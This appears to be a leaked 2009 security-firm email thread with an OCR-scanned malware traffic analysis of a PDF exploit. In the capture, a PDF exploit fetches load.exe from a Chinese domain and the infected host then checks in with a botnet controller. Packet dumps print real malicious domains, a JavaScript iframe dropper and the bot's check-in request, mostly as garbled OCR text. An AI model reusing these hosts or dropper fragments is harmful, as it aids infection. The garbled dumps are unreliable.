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From: "Rich Cummings" <rich@hbgary.com>
To: "Greg Hoglund" <greg@hbgary.com>
Sent: Monday, April 13, 2009 10:38 AM
Attach: pdf_exploit_botnet_packet_analysis.docx

Subject: RE: Maltego Test

G,
Here are a bunch of screen shots from our packet capture. I've isolated the IP addresses/URL’s and most of the files
downloaded from China and the Ukraine.

Take a look. I'll get Maltego today and start looking for the guy running the jRoger botmanager 1.5.

Call me when you have time.
R

From: Greg Hoglund [mailto:greg@hbgary.com]
Sent: Saturday, April 11, 2009 2:51 PM

To: rich@hbgary.com

Subject: Maltego Test

Rich,

Lets get the free version of maltego and run atest to 1D the guy running that JRoger botnet. What was the DNS of the
bot controller?

-Greg

2/20/2011



PDF Zero Day Exploit Received 3/26/2009

AcroRd32.exe is used to open the readme.pdf. then adobe updater is launched to check for online
updates. Readme.pdf injects the chinese URL http://lieliteautobody.cn/load.php?id=0. This proceeds to
download and execute load.exe.

SEIE
File Edit Wiew Go Copture Anslyze  Statistics Help
7 = o ey e
B DERXIE A FL(EBEB AQAANO EEE X B
Eiters | T Expression.,. Clear Apply
fla. - I Time | Source | Destination | Prokacel l Info l-ﬂ
45 10.063136 ; 255.255.255.255 upp Source port: blackjack Destinmation port: 34012
46 22476688 : 255255255255 upe Source port: blackjack Destipation port: 34012
47 24, 986388 . 255.255.255. 255 ULe Source port: hlackjack Destination port: 34012
48 27.455229 iy 255,255,255, 255 upe Source port: blackjack Destination port: 34012
49 29.968725 ol 255.255.255.253 upp source port: blackjack Destination port: 34012
50 32.484287 Sl 255.255.255.255 DR source port: hlackjack Dpestination port: 34012
51°33.381003 a0 152.168.1.1 DS standard guery & 1ialiteautobady. cn
52 34.354516 2y 162,168, 1.1 DNS standard guery A 1ieliteautobody. cn
53 34.424061  192.168.1.1 192.168.1.118 DS Standard guery response A 94.247.3.151 :
54 34.445298 192.168.1.118 1ieliteautobody. cn TCR afrog > http [SvM] Seq=0 win=64240 Len=0 MS5=1460
553 34.578023  182.1e8.1.118 2SS S S o UDF source port: blackjack Destination port: 34012
56 34.592802 1ieliteautobody.cn 152.168.1.118 TCP http » afrog [svN, ack] Seg=0 Ack=1 win=5840 Len=0 M55=1460
57 34.593126  152.168.1.118 Tieliteautohody. cn in=64240 Len=0

afrog » http [4CK] Seg=l Ac
ET 7 HT ik

39 34.741371 1 «cn 192,168.1.11: > afrog AL
60 34.752097 lieliteautohady.cn 152.168.1.118 TCP [TcP segment of & reassembled pou]
61 34.754280 Tieliteautobody. cn 192.168.1.118 FEP: [TcP segment of a reassembled pou]
62 34.7545800 192.168.1.118 lieliteautobody. cn TCP. afrog > http [ACK] Seq=310 Ack=2021 Win=64240 Len=0
A2 24 005142 Tialitasimehacy cn 187 TAS 1 118 o [TeD cammant nf 3 eoiccomhlad DRl
@ Frame 58 (363 hytes on wire, 363 bytes captured) =

& Ethernet IT, Src: Masstech_00:19:25 (00:09:5e:00:19:25), Dst: Cisco-Li_fc:09:68 (00:la:70:fc:i00:68)
@ Internet Protocol, Sre: 182.168.1.118 €192.168.1.118), Dst: lieliteautobody.cn (94.247.3.151)
= Transmission Conmtrol Protocol, src port: afrog (10420, pst port: http (80), seq: 1, Ack: 1, Len: 309

source port: afrog (1042)

pestination port: http (800

sequence number: 1 (relative sequence number) =l
0000 Q0 1a 70 T< 09 68 00 09 & 00 15 25 08 00 45 00
0010 ©L 5d 00 ad 40 00 80 06 o4 4a cO aB 0L 76 Se F7
00z0 03 87 gg 12 Q0 50 aa 6F 68 e9 28 17 of kil 50 18

0040 2f 31 28 31 0d Da 41 63 63 65 70 74 3a 20 89 6d

0050 &1 67 65 2f 67 6% 66 2c 20 69 &d 61 67 65 2f 78

0060 2d 78 62 69 74 6d 61 70 2¢ 20 6% 6d ol &7 &5 2f

0070 ©a 70 65 67 2c 20 69 6d 61 67 65 2f 70 6a 70 65

0080 67 2¢ 20 6L 70 70 6c 69 63 6l 74 69 6f de 2f 78
68

00a0 2c 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61
0ob0 62 67 75 61 67 B5 3a 20 65 6e 2d 75 73 0d Da 41
00cO 63 63 65 70 74 2d 45 G6e 63 &6F 64 69 6e 67 3a 20

69
000 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f Ta €5 6¢
oofo ec 61 2f 34 ze 30 20 28 63 of 6d 70 61 74 B9 62
0100 &c 65 3b 20 4d 53 45 45 20 36 2e 30 3b 20 57 69
0110 ©6e 64 6f 77 73 20 42 54 20 35 2e 31 3b 20 53 59§
0120 31 3b 20 2e 4e 45 54 20 43 4c 52 20 31 2Ze 31 2e

3z 2.
0140 6c 6% 74 65 61 75 74 6f 62 6f 64 79 2e 63 6e Od Titeauto
0150 QOa 43 6F Ge 62 65 63 74 69 6f 62 3a 20 4b &5 &5 .connect
0160 70 2d 41 6c 6% 76 65 0d 0a Od Qa p-Alive.

File; "Cifieoclemo Fles\RAM imagesipdfipdf_esc_sniff. peap” 1377 KB 00:15:58 | Packets: 2829 Displayed; 2629 Marked: 0 4
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Lieliteautobody.cn = 94.247.3.151



cap - Wireshark _(81%]

Flle Edt Yiew Gb Copture Analyze  Shatistics Help

neswgiEBElacan s

Eilter: | *  Expression... ear Apply
fla. - I Time | Source | Destination | Prokacel l Info Iﬁ
45 10.063136 102.158.1.118 255:255,255.255 upp Source port: blackjack Destinmation port: 34012
46 22. 476688 152.168.1.118 2552555255255 upp Source port: blackjack opestination port: 34012
47 24,086388  157.168.1.118 255.255.255. 255 UBP Source port: hlackjack Destination port: 34012
48 27.455229  182,168.1.118 755,255,255, 255 unP Source port: hlackjack Destination port: 34012
49 20.968725 192,168/1.118 235,255, 255,225 upp source port: blackjack opestination port: 34012
182.168.1.118 255.255.255.255 DR source port: blackjack pestination port: 34012
157.168.1.118 152,168.1.1 DNS standard guery & ha”lwteaututm . cn

192,168 DREEEREL DNS Standard guery A 1ieliteautobody.cn
182,168.1.118 Tieliteautobody. cn TCR afrog > http [Svn] se Win=64240 Le MSS=1460
loz.le8.1.118 L e UDF source port: blackjack pestination port: 34012
Tieliteautobody. cn 152.168.1.118 TCP http = afrog [SvM, ack] Seq=0 Ack=1 win=5840 Len=0 M55=1460
152.168.1.118 lieliteautobody. cn TCP afrog > http [ACK] Seq=l Ack=1 Win=64240 Len=0
152,168.1.118 Tieliteautobody.cn  HTTR GET / HTTP/L.1
Tieliteautohody. cn 192.188.1.118 R http > afrog [ACK] seg=1 Ack=310 win=6432 Len=0
Jieliteautohady. cn 152.168.1.118 TCP [TcP segment of a reassembled Pou]
Tieliteautobody. €n 1562.168.1.118 TCP [TcP segment of a reassembled P u]
62 34.754500 192,168.1.118 Tieliteautohody.cn TGP afrog > http [ATK] Seq-310 Ack=2021 Win-64240 Len-0

@ Frame 53 (106 bytes on wire, 106 bytes captured)

& Ethernet IT, Src: Cisco-Li_Fc:09:68 (00:1a:70:fc:09:68), Dst: Masstech 00:19:25 (00:09:50:00:10:25)

@ Internet Protocol, Src: Mountain (192.168.1.1), Dst: 102.168.1.118 (192.168.1.118)

® User Datagram protocol, src Port: domain (53, Dst Port: ams (1037)

# Domain Mame System (responsel

0000 00 09 e 00 19 25 00 1a 70 fc U5 68 08 00 45 00

0010 00 bé 00 00 40 00 40 11 b6 &F cO a8 01 ol cO a8

0020 01 75 00 35 04 od 00 a2 7d 28 66 OC 84 80 QU 0L

0030 00 01 00 03 00 03 Of 6c 69 65 6C 63 74 65 61 75 1 jeliteal

0040 74 6F 62 6F 64 79 02 63 G2 D0 Q0 0L 00 Ol <O OC tubody <n

0050 00 01 00 01 Q0 0D 01 b0 00 04 Se 7 03 97 <O Oc

0060 00 02 00 0L 00 00 0L b0 00 06 03 6e 73 33 <0 Oc

0070 <O Oc 00 02 Q0 0L 00 00 01 b0 QD 06 03 &e 73 31

0080 <0 Oc <O OC 00 02 00 01 00 00 0L hO 00 06 03 ée

0050 73 32 €O OC <0 52 00 01 00 UL Q0 00 01 b0 00 04

0030 5F BL 90 d2 c0 &4 00 01 00 Ol 00 00 0L b0 00 04

l00bo 42 1a b3 4T <0 40 00 01 00 O 00 00 01 ho 00 04

00c0 Se F7 03 96
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o] ED - B EE R G @EE | S | 8 imunes | %, netiress twvestigator &[] pdf_ex_smiftpcap -.. i Lipo- Paint [ B wEmEms TR saim




cap - Wireshark

Flle Edt Yiew Gb Copture Analyze  Shatistics Help

=181

7 = o fea] e
B DERXIE A FL(EBEB AQAANO EEE X B
Eiters | ~  Expression.. Clear Anply
i, - | Time: iSDurce |Destmatmn Iprumu\ llnfu ij
o =Ty o Tr oI T e e o
67 34.908397 192.168.1.118 Tieliteautobody. en TCR afrog > hrtp [ack] Seq=310 ack=7301 win=64240 Len=0
68 35.082148 Tieliteautobody. cn 152.168.1.118 TCR [TCP segment of a reassembled PoU]
60 35.082358  192.168.1.118 Tieliteautobody. cn TCP afrog > http [ACK] Seg=310 Ack=8761 Win=64240 Len=0
i 43 m
A 1 eliteautobody. cn afrog = http =l
1 _ | ]
eI TEMgTTT U Oy TE 1=
@ Flags: Ox19 (FIN, PSH, ACKD
window size: 6432
® Checksum: 0x0dac [correct] el
® [SEQ/AcK analysis] =l
0000 00 00 5e 00 19 25 00 1a 70 f< 00 &8 08 00 45 00 5,
0010 01 d3 87 92 40 00 2a 06 a2 ed Se f7 03 97 <0 a8 6. ¥,
0020 0L 76 00 50 04 12 25 17 cl e9 aa &f 6a le 50 15 .v.P..). ...
0030 19 20 Od ac 00 00 44 46 28 50 44 46 22 2¢ 20 22 . ....DF .
0040 50 44 46 2e 50 64 66 43 74 72 6C 22 25 3b 0d 0a  POF_PdfC
0050 0d 0a 09 66 6f 72 28 68 20 69 Ge 20 50 44 46 29 ...for(d
0060 0d Oa 09 7b 0d Oa 05 05 74 72 79 0d 0a 09 09 7b ...
0070 0d 0a 09 09 09 6F 62 Ga 20 3d 20 Ge €5 77 20 41
0080 63 74 65 76 65 58 4F 62 6a 63 63 74 28 50 44 46
0090 5b 69 5d 29 3b 0d 0a 0d 0a 09 09 09 €3 66 20 28 o
0020 6F 62 6a 25 0d 0a 0% 05 0% 7b 0d 0a 0% 09 09 09  ohid.... .{
joobo &4 6F 63 75 6d 65 6e 74 2e 77 72 60 74 63 28 27 document .
00c0 3¢ 69 66 72 61 6d 65 20 73 72 63 3d 22 63 61 63  <iframe
00d0 &3 65 2F 72 65 61 64 6d 65 2e 70 64 €6 22 32 3C  he/readm
0020 2f 69 66 72 61 6d 65 32 27 29 3b Od 0a 09 00 09  Aiframer
00F0 70 0d 0a 09 09 7d od 0a Od 03 03 05 63 61 74 63 J... .},
0100 68 28 65 29 7b 7d 0d 0a 09 7d od 0a od 0a 09 74 hR¢ed..
0110 72 79 0d 0a 09 7h od 0a 03 09 &F 62 6a 20 3d 20 ry...1.. ..ubg
0120 G2 65 77 20 41 63 74 698 76 65 58 4f 62 6a 65 63  new ACTi vexo FC
0130 74 28 22 53 68 6F 63 6b 77 6L 76 65 46 6c &1 73  T('shock waverlas
0140 68 2e 53 68 6f 63 6b 77 61 76 65 46 6C 61 73 68  h.shockw aveFlash
0150 22 29 3b 0d 0a 0d Da 03 03 69 G6 20 28 6F 62 6a ")} if (obj
0160 29 0d 0a 09 09 7hb Od 0a 08 09 09 &4 6f 63 75 &d . dacum
0170 65 6e 74 2e 77 72 69 74 65 28 27 3C 69 66 72 6l e(’ <ifra
0180 6d 65 20 73 72 63 3d 22 63 ol 63 68 65 2f 66 &c cacha/F1
0190 61 73 68 2e 73 77 66 22 3e 3c 2f 69 66 72 61 6d »</1fram
0120 &5 3e 27 25 3b 0d 0a 09 05 7d 0d 0a 03 7d Od 0a I
01b0 0d 0a 0% 63 61 74 63 68 28 65 20 7b 7d Od Qa 7d Ced{}..}
01co 0d 0a 0d 0a 70 64 66 73 77 66 23 25 3b 0d 0a 0d ... pdfs wF()...
jo1do 0a 3c 2f 73 62 72 69 70 74 3e 0d 0a 30 od 0a od Lfserdp T
01e0  0a i
Frama (451 bytes) | Reassembled TCP (3187 bytes) | De-chunked entity body (5992 bytes) |
[ File: "Ciirdema filesiR AN inagesipdfipdf_ex_sniff peap” 1577 KB 0115058 | Packets: 2829 Displayed; 2623 Marked: 0 4
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GET /load.php?id=0 HTTP 1.1



Iframes are used to re-direct the download to another website in China. Litedownloadfinest.cn

cap - Wireshark _18] x|
File Edt Wiew Go Copture Anslyze  Stabistics  Help
; = =3 ] )

BWees bEX2L aevoriEElacan #0n x| B
Eiters | ~  Expression.. Clear Anply
fla. - | Time: iSUurce |Destmauun Iprumu\ llnfu jj

72 35.520576 192.168.1. 118 1092.168.1.1 DS standard guery A Titedownloadfinest.cn

73 35.522784 192.168.1.118 Tieliteautohody. cn TP afrog > http [FIN, ACK] Seq=310 Ack=0188 Win=63813 Len=0

74 35.731315 Tieliteautohody. cn 197.168.1.118 TCR hrtp > afrog [ack] seq=9189 Ack=311 win=6432 Len=0

75 35.892295 192.168.1.1 1092.168.1.118 DNS Standarg guery response A 94.24 151

76 35.894503 192.168.1.118 Tieliteautohody. cn TCP boinc-client > http [SYn] Seg=0 win=64240 Len=0 mMsS=1460

77 36039743 Tieliteautobody. cn 192.168.1.118 TEP http » hoinc-client [SYN, ACK] Seq=0 Ack=l Win=5840 Len=0 M55=1460

78 36.040167 1592.168.1.118 Tieliteautobod TCP boinc-client > http [ACK] Seq=l Ack=1 Win=64240 Len=0

JETT ET 1 HT T

80 36.180494 Tieliteautobody. cn 182.168.1.118 TCR hrtp > boinc-client [ACKk] Seg=l Ack=218 win=6432 Len=0

81 36.195016 Tieliteautohody. cn 192.168.1.118 TEP [TcF segment of a reassembled Pou]

8Z 36.196075 Tieliteautobody. cn 152.168.1.118 TCP [TcP segment of a reassembled pDU]

83 36.196496 192.168.1.118 Tieliteautobody. cn TCP boinc-client > http [ACK] Seq=218 Ack=2821 Win=64240 Len=0 |

4 _ |
T HEamEr CTECRS T UXT oy [COTTeer] 1=
Source: 192.168.1.118 (192.168.1.118)
pestination: lieliteautobody.cn €94.247.3.151)
= Transmission Control Protocol, sro port: boinc-client (10430, Dst port: hetp (803, seq: 1, ack: 1, Len: 217
source port: boinc-client (1043)

pestination port: http (800

Sequence number; 1 (relative sequence number) _|
[Mext sequence number: 218 (relative seguence number)]

acknowledgement number: 1 (relative ack number) ;l

00b0 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20 53 indows N T 5.1; S

3L wl; .NET :
000 2e 34 33 32 32 26 0d 0a 48 &F 73 74 3a 20 6C 6% .4322).. Host: 19
0020 74 &5 64 Gf 77 Ge 6 6 6l 64 66 69 Ge 83 73 74  tedownlo adfinest
00F0  2e 63 6e 0d Qa 43 6F Ge 6Ge 65 63 74 60 6f 6e 3a .cn..Con nection:
0100 20 4h 65 65 70 2d 41 &C 69 76 65 0Od 0a od va Keep-al fve....

File: "Citwdema FilesiRAM magestpdfipdl_ex_sniff, peap” 1377 KB 00:15:58 | Packets: 2829 Displayed; 2629 Marked: 0 4
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This url will download and execute load.exe



_i8ix)

File Edt Wiew Go Copture Anslyze  Stabistics  Help
7 = R ey e
B DERXIE A FL(EBEB AQAANO EEE X B
Eiters | T Expression.,. Clear Apply
iNu‘ J | Time: iSUurce |Destmuun Iprumu\ llnfu ﬂ
o TYrTTUSTITIT TTETTTEA IOy T T T DA T T TR LT

B0 36.180494 Tieliteautobody. cn 1%2.168.1.118 TCP http > boinc-client [Ack] sSe Ack=218 Win=6432 Len=0

3, if Cri B .118 G nent of a r bled FDU

82 36.196073 Tieliteautobody. cn 152,168.1.118 TGP [TcPp segment of a reassembled Ppul

83 35.196496 192.168.1.118 Tieliteautobody. cn TCP boinc-client > http [Ack] Seq=218 ack=2821 Win=84240 Len=0

B4 36.341667 Tieliteautobodv. cn 192.168.1.118 TR ITcP seament of a reassembled POUT _'_I
il |

Acknowledgement number: 218 (relative ack number)

Header Tlength: 20 bytes
M Flags: Ox10 CACK)
PTG

E] 0xe67h [correct]
TCP segment data (1460 bytes)

38 39 36 0d 0a 43 &f 6e ng 16 896, .Con
70 6Ff 73 69 74 69 of 62  tent-pis position
6d 65 6e 74 3b 20 65 63 : attach ment; 1

oad. exa.

ogram ca

&6f 67 72 €1 6d 20 63 €1
72 75 Ge 20 69 Ge 20 44 run in D
0d 0d 0a 24 00 00 0O 0O $

=l

Wiirdovy size {tcp.indow_size), 2 bytes | Packets: 2829 Displayed; 2623 Marked: 0

Leseart| | B ~BER %YL G PHED | 8 imunes | . netitress tvestigator &[] pdf_ex_smiftpcap - i 4.ipo- Paint [ed s

v
A R0 szrem

=

The lieliteautobody.cn web server is running nginx software. (? What is this?)

nginx isaHTTP server and mail proxy server written by me (Igor Sysoev) from russia.

http://sysoev.ru/en is his website.




cap - Wireshark _(81%]

Flle Edt Wew Gp Copture Anshze  Stabistics Help
, = = T E
B DERXIE A FL(EBEB AQAANO EEE X B
Eilter: | ~  Expression.. Clear Anply
fla. - | Time: iSDur:e |Destmatmn |Prutuw\ llnfu ij
T Yz TR IIIT TTET T EALT OOy T e T T T TR TR
B0 36.180494 Tieliteautobody. cn 162.168.1.118 http » boinc-client [AcK] Seq=l Ack=218 wWin=6432 Len=0
81 36.195016 lieliteautobody. cn 192,168.1.118 [TCP segment of a reassembled poul

Ack=2821 win=64240 Len

1 192.168.1. i utabody: cn hrtp =
B4 36.341667 Tieliteautohbodv. cn 152.168.1.118 ITCP seament of a reassembled POUT

il |

Acknowledgament number: 218 (relative ack number)
Header Tlength: 20 bytes
M Flags: Ox10 CACK)
window size: 8432
® Checksum: 0xd7c? [correct] |
[ bled pou in frame: 597 =
|

03a0 00 00 00 00 00 0O 00
030 20 00 00 00 00 00 00
03cO 200 00 00 7c 20 Q0 00 00 00 Q0 Q0 00 00 00 00 3c
03d0 21 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00
0320 00 00 00 00 QO QO 00 00 00 QO QO 28 21 00 00 00
03F0 00 00 00 dé 20 00 00 a4 20 00 00 T4 20 00 00 c4

Lole]
a0

0 .creater

0420 B9 6C 65 41 00 BD Q0 45 78 69 74 50 72 6f 63 65 xitProce
0430 73 73 00 1f 01 47 65 74 50 72 &f 63 41 64 64 72 ProcaAddr
0440 ©5 73 73 00 00 67 01 47 6¢ 6F 62 61 6C 41 6< 6C Tobalall
0450 &f 63 00 a4 01 4c 6f 61 64 4c 6% 62 72 61 72 79 dlibrar;

0460 41 00 00 f7 0L 52 65 61 64 46 63 6¢ 65 00 00 &b drile..

0470 B85 72 €e 65 6C 33 32 2e 64 6C 6c 00 00 %d 01 4d dll.

M

0480 &5 73 73 61 67 65 42 & 78 41 00 75 73 65 72 33 essageBo xA. user3
0430 32 Ze 64 6C 6C 00 00 0a 00 47 &5 74 4f 70 &5 6e Z.Eﬂ?... .Getopen
0430 46 60 6c 65 d4e 61 6d 65 41 00 00 63 &6F &d 64 6c Filename A
2e 6C 6C 00 00 Q0 QO 00 00 00 00 00 g32.d11. .

0d4cO 00 00 00 00 0O Q0 00 00 00 00 00 00 00 00 00 00 = &
04¢0 00 00 00 00 U0 DD 00 00 00 0O 00 QU0 00 0O QU 00
0de0 00 00 00 00 OO 0O 00 00 00 00 00 00 00 00 00 00
i0af0 00 00 00 00 00 0D 00 00 00 0O 00 QU 00 DO 00 00
0500 00 00 00 00 QO Q0 00 00 00 00 Q0 00 00 00 00 00
Qo
00
0530 00 00 00 00 00 0O 00 00 00 00 00 Q0 00 OO0 00 00
0540 00 00 00 00 Q0 Q0 00 00 00 00 Q0 00 00 00 00 00
0550 00 00 00 00 00 0O 00 00 00 OO0 00 Q0 00 OO0 00 00

0570 34 00 00 6b &5 72 62 65 6C 33 32 2e 64 6C 6c Q0 4..kerne 132.d11.
0580 64 67 65 72 35 64 30 38 67 64 66 30 67 00 43 33 dger5do8 gdfsg.c:
0580 5C 57 45 d4e 44 4f 57 53 5¢ 73 75 73 74 65 6d 33 NWINDOWS system3
0530 32 5c 6l 6C 67 2e 65 78 65 00 64 66 67 38 73 39 2halg.ex e.dfgeso
05b0 &4 38 65 39 73 64 38 00 47 65 74 50 72 &6F 63 41 d8f9sds. GetProca
05c0 64 64 72 65 73 73 00 73 64 66 68 38 64 66 35 66 ddreszsz.s dfhsdfef
0500 39 64 38 67 00 4c 6f 61 64 4c 63 62 72 61 72 79 Sd8g.Loa diibrary
0520 41 00 33 32 34 Ba 62 6a 6h 35 A 3243n] ks

comd]
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cap - Wireshark _{&ix]

Elle Edt Wew Go Capture  dnalyze  Statistics Help
BEHeM DERIE| ST L laaaf| ¥EB x| 8
Eilter: | *  Expression... ear Apply
N, - | Time | Source | Destination | Protoral | Info ﬁ!
T T ez TOUmTI I TTET T EALT OOy T T T T T TR TR
B0 36.180494 Tieliteautobody. cn 162.168.1.118 TCP http > boinc-client [Ack] Seq=1 Ack=218 Win=6432 Len=0
8l 36.195016 Tieliteautobody. crn 192,168.1.118 TEP [TcP segment of a reassembled poul
8236.196075 Tieliteautobody. cn 192,168.1.118 e [TCP segment of a reassembled Poul
83 36.196496 192.168.1.118 11 eliteautohody. cn TCP hoinc-client > hrtp [ack] seg= 215 Ack=2021 Win=64240 Len=0

il : |

-
sequence number: 2921 (relative sequence number)
[Mext seguence number: 4381 (relative sequence number)]
Acknowledgement number: 218 (relative ack number)

Header Tlength: 20 bytes
m Flags: Ox10 CACK)
window size: 8432
Checksum: 0x07ch [correct]
@ [sEq/ack analysis]
Reassembled PDu in frame: 99

15 25 00 0% 68 08 00 45 00

40 00 za se f7 03 97 <0 a8

od 13 29 ga b7 ab 42 50 10
0 50

Prota I (1, 1460 bytes

Osot| MOV BEE QG WHEE | Sor

| Packets: 2629 Displayed; 2620 Marked: 0

| ", Nebifitness [nvestigalur&”i pdf_ex_sniffpcap -.. i .jpg- Paint
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cap - Wireshark

Flle Edt Yiew Gb Copture Analyze  Shatistics Help

=181

, = = P
B DERIE e FL(EEQAAAQAEO [ #E *®18
Eilter: | *  Expression... ear Apply
fla. - | Time: i Source | Destination I Protacal l Irfa 2]
115 40.744451 Tieliteautobody. cn 162,168.1.118 TCP [TCP segment of a reassembled pou]
116 40. 747526 192.168.1.118 Tieliteautobody. cn FER deutility > hitp [ACK] Seq=362 ack=2021 Win=64240 Len=0
117 40.803479 Tieliteautobody. cn 192,168.1.118 TCP http » fpitp [S¥M, ACK] Seq=0 Ack=1 Win=5840 Len=0 M55=1460
118 40.812234 192.168.1.118 Tieliteautobody. en TCP Fpitp > http [ACK] Seq=1 Ack=1 Win=64240 Len=0
T
Sl |
e ™
source port: fpitp (1045)
pestination port: http (800
sequence number: 1 (relative seguenice rumber)
[Mext sequence number: 361 (relative seguence number)]
Acknowledgement number: 1 (relative ack number)
Header Tength: 20 bytes
B Flags: Ox18 (PSH, ACKD
window size: 64240
® checksum: 0xd2aé [correct]
@ Hypertext Transfer Protocol =
bO00 00 1a 70 fc 00 68 00 09 Se 00 15 25 08 00 45 00
0010 01 90 Q0 c8 40 00 80 06 d3 f3 c0 a8 0L 76 5e f7
0020 03 97 04 15 00 50 ef ea bé fa 2a 00 &4 4b 50 18
0030 fa fO d2 a6 00 Q0 47 45 54 20 2f 63 6l 63 68 65
0040 2f 66 6c 61 73 B8 2Ze 73 77 66 20 48 54 54 50 2f
0050 31 2e 31 Od 0a 41 63 63 65 70 74 3a 20 69 od 61
0060 67 65 2f 67 6% 66 2c 20 69 6d 61 67 65 2f 78 2d
0070 78 62 69 74 od 61 70 2¢ 20 69 &d 61 67 &5 2f €a
0080 70 65 67 2c 20 69 6d 61 67 65 2f 70 6a 70 85 67
0030 2C 20 61 70 70 6 60 63 61 74 63 6f ée 2f 78 2d
00a0 73 68 6f 63 6h 77 61 76 65 2d 66 6C 61 73 B8 2C
ob0 20 2a 2f 2a 0d va 52 &5 66 65 72 65 72 3a 20 68
00c0 74 74 70 3a 2f 2f 6c 69 65 6C 6% 74 65 Gl 75 74
oodo  &6f 62 6f 64 7O 22 63 Ge  Od 0a 41 63 &3 65 70 T4
0020 2d 4¢ €1 62 67 75 61 67 65 33 20 65 6e 2d 75 73 H
oofo  od 0a 41 63 63 65 70 74 2d 45 Ge 63 &F 64 60 ée ..AcCept -Encodin
0100 ©7 3a 20 67 7a 69 70 2¢ 20 64 &5 66 GC 61 74 65 g: gzip, deflate
0110 0d 0a 55 73 65 72 2d 41 67 65 Ge 74 3a 20 4d &f -.User-A gent: Mo
0120 7a 69 6c 6¢ 61 2f 34 2e 30 20 28 63 of &d 70 61 zi1la/4. 0 (compa
0130 74 63 62 6C 65 30 20 4d 53 40 45 20 36 2e 30 3b tible; M SIE 6.0;
0140 20 57 69 62 o4 6Ff 77 73 20 4e 54 20 35 2e 31 3b windows NT 5.1;
0150 20 53 56 31 3h 20 2e 4e 45 54 20 43 4c 52 20 31 Svl; .N ET CLR 1
0160 2e 31 2e 34 33 32 32 29 0d Qa 48 6f 73 74 3a 20 .1.4322) ..Host:
0170 6C 63 65 6C 60 74 ©5 61 75 74 &f 62 &f 64 70 Ze Tielitea utobody.
0180 63 Ge 0d 0a 43 &6F 6e Ge 65 63 74 65 &F Ge 3a 20 cn..conn ection:
0150 4b 65 65 70 2d 41 6c 69 76 65 0d Oa 0d Oa Keep-Ali wve....
File: *Ciiudemo Fles\RAM imsgesipdfipd?_ex_sniff.peap™ 1377 KB 00:15:58 | Packets: 2829 Displayed; 2629 Marked: 0 4
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=181

BWees bERE:L ccraTioElacan @

*®18

Eiters | 2

Expression... Clear Apply

fo, - | Time: i Source

| Destination

L

I Protocal | Info

151 42. 084164 A92.168.1.118

152 42.501901 Cisco-Li_fec:09:68
153 42.502122 Masstech_00:19:25
154 44.557658 192.168.1.118

i : = 4,82
157 46.171816 192.168.1.118
158 46.172752 10Z.1AR.TTTR

4 |

S
Broadcast
Cisco-Li_fc:09:68
255.255.255.255

UDP: source port: blackjack: pestination port: 34012
ARP who has 192.168.1.1187 Tell 152.168.1.1

ARP 192.168.1.118 s at 00:09:52:00;19:25

upp ‘Source port: blackjack Destination port: 34012

3 21118
213.155.4.82
713155482

TCP http > whremotertm [SYN, ACK] Seq=0 AcC win=5840 Len=0 mMS5=1460
TCR wiremotertm = http [Ack] Seq=l ack=1 wirn=64240 Len=0
HTTE GET /rpwlenmtrnller. oho?act inn=hnr&ent ity 1ist=Rii

T&F i P18 iR 562573 =]
4

Protacol: TCP (Ox06)
=l Header checksum: OxSded [correct]
[Good: Truel
[Bad : False]
Source: 192.168.1.118 (192.168.1.118)
Destination: 213.155.4.82 (213.155.4.82)
B Transmission Control Protocol, Src Port: wiremotertm
soyrce port: wiremotertm (10460
pestination port: hrtp (800
sequence number: o (relative seguence rumber)
Header length: 28 bytes
® Flags: 0x02 CSYR)
window size: 64240

|

(10483, pst Port: http (80, Seg: O, Len: O

0010 00 30 00 dS 40 00 50 06 5d &4 <O 23 01 76 d5 9h
0070 04 52 04 16 00 50 2c 57 fe f6 00 0D 00 0O 7O 02
0030 fa FO bc 2e 00 0O 02 04 05 b4 01 01 04 02

File: "Citwdema FilesiRAM magestpdfipdl_ex_sniff, peap” 1377 KB 00:15:58

fst| MmO DEE%BQGIWEE | for

| 8 imunes

| Packets: 2820 Displayed; 2629 Marked: 0 P
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BEWeAE DEXEL | AeenT BB QAR #EH X

Eilter: | *  Expression... ear Apply
i, - | Time: iSUurce |Destmeuun IFrutumI |1nfu 21
151 4Z. 084164 192.168.1.11 255205 295,25 UDF SouUrce port: bBlacKjack Destination port: 34012 =
152 42.501900 Cisco-Li_fci09:68 Broadcast ARP who has 192.168.1.1187 Tell 192.168.1.1
153 42.502122 masstech_00:19:25  cisco-Li_fc:09:68 ARP 192.168.1.118 §s at 00:00:52:00:19:25
154 44, 557658 192168, 1. 118 255.255.255.255 (5123 Source poart: hlackjack DEStwnatwtm pnrt: 34012
155 45.981156 192.168.1.118 213.155,4,82 TCP wfremotertm » http [SvN] Se 40 Len=0 MSS=1460
156 46.171440 213.155.4.82 192.168.1.118 TCP http > wiremotertm [SYN, ACK] EEE] 0 Ack 1 Win=5840 Len=0 M55=1460
157 46,171616 192.168.1.118 213.155.4.82 TCR w’FrEmotEr‘tm > hrep [Ack] Se win=64240 Len=0

155 46.342239 213.155.4.82 192.168.1. 118 TCP http > wfremotaertm [ack] sa 22 =5840 Len=0
160 47. 065501 192.168.1.118 5. 255, 255255 upp source port: blackjack Dest natmn pﬂrt‘ 24012
161 47.728140 213.155.4.82 192.168.1.118 TCP [TCP segment of a reassembled Poul =]

4 |

Protocol: TCP (0x06)
= Header checksum: 0x5d71 [correct]
[Good: True]
[Bad : False]
Source: 192.168.1.118 (192.168.1.118)
pestination: 213.155.4.82 (213.155.4.82) _I

= Transmission control Protocol, sro port: wiremotertm (1046), Dst Port: http (80D, Seq: 1, ack: 1, Len: 121
source port: wiremotertm (10460
pestination port: http (800
Sequence number: 1 (relative seguence number) sl

Fiisde i s oapsin e Felaiddes poliias sy

0000 00 Ta 70 Tc 09 68 00 09 5e Q0 15 25 08 00 45 00
0010 00 al 00 da 40 00 80 06 5d 71 <0 a8 01 76 d5 9b =
0020 04 52 04 16 00 50 2¢c 97 fe f7 6e 12 8a 8b 50 18 i i Pl
0030 fa O 6d 13 00 00 47 45 54 20 2f 6e 63 77 2F 63 LML GE T /new/c
0040 &f 6e 74 72 6f 6c 6c 65 72 Ze 70 68 70 3f 61 63 ontrolle r.php?ac
0050 74 69 6f 6e 3d 62 6F 74 26 65 Se 74 69 74 7O 5F tion=bot &entity_
0060 6c 69 73 74 3d 26 75 69 64 3d 31 26 66 69 72 73 1ist=&ui d=1&Firs
0070 74 3d 31 26 67 75 69 64 3d 33 35 36 32 35 37 33 t=l&guid =3562573
